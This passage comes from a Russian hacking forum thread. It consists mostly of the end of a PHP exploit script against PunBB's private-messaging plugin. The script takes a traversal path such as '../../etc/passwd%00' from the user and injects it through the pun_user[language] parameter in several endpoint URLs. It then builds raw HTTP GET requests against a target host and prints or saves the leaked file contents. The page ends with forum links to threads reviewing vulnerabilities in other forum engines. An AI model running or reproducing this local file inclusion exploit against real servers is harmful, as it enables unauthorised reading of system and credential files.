"[+] Usage: php $argv[0] [host/path] [mode]\r\n";
      echo 
"[+] Usage: php $argv[0] [host/path] [save]\r\n";
      echo 
"[+] Usage: php $argv[0] [host/path]        \r\n";
      exit;
    
    }
  }
  
  function 
exploiting($host,$mode)
  {
    
    
$host explode('/',$host);
    
$i 0;
    
    
    echo 
"[+] Local File (ex: ../../etc/passwd%00)\r\n";
    echo 
"[+] Local File: ";
    
    
$file stripslashes(trim(fgets(STDIN)));
    
    if(empty(
$file)) die("you fail");
    
    
    
$array = array (
                    
"functions_navlinks.php?pun_user[language]=$file",
                    
"profile_send.php?pun_user[language]=$file",
                    
"viewtopic_PM-link.php?pun_user[language]=$file",
                    
"header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=$file",
                  ); 

    
$write .= "GET /$host[1]/files/include/pms/$array[$i] HTTP/1.1\r\n";
    
$write .= "Host: $host[0]\r\n";
    
$write .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    
$write .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    
$write .= "Accept-Language: en-us,en;q=0.5\r\n";
    
$write .= "Accept-Encoding: gzip,deflate\r\n";
    
$write .= "Connection: close\r\n\r\n";
    

   
    
    if(
stristr($this->http_request($host[0],$write),'No such file or directory in'))
    {
      
$i++;
    }
    else
    {
      if(
$mode == "save"
      {
   
        
$rand rand(0,99999);
        
fclose(fwrite(fopen(getcwd().'/'.$rand.'.txt',"a+"),$this->http_request($host[0],$write)));
        
        echo 
"[+] File $rand Saved Successfully!\r\n";
        echo 
"[+] Exploit Terminated!\r\n";
        exit;
      
      }
      else
      {
        echo 
$this->http_request($host[0],$write);
        exit;
      }
    }
  }
}
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей Simple Machines Forum] FeraS Форумы 48 17.06.2010 16:25
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
[Обзор уязвимостей phpBB] qBiN Форумы 46 10.04.2010 23:52
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
[Обзор уязвимостей IceBB] Solide Snake Форумы 7 16.12.2009 23:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ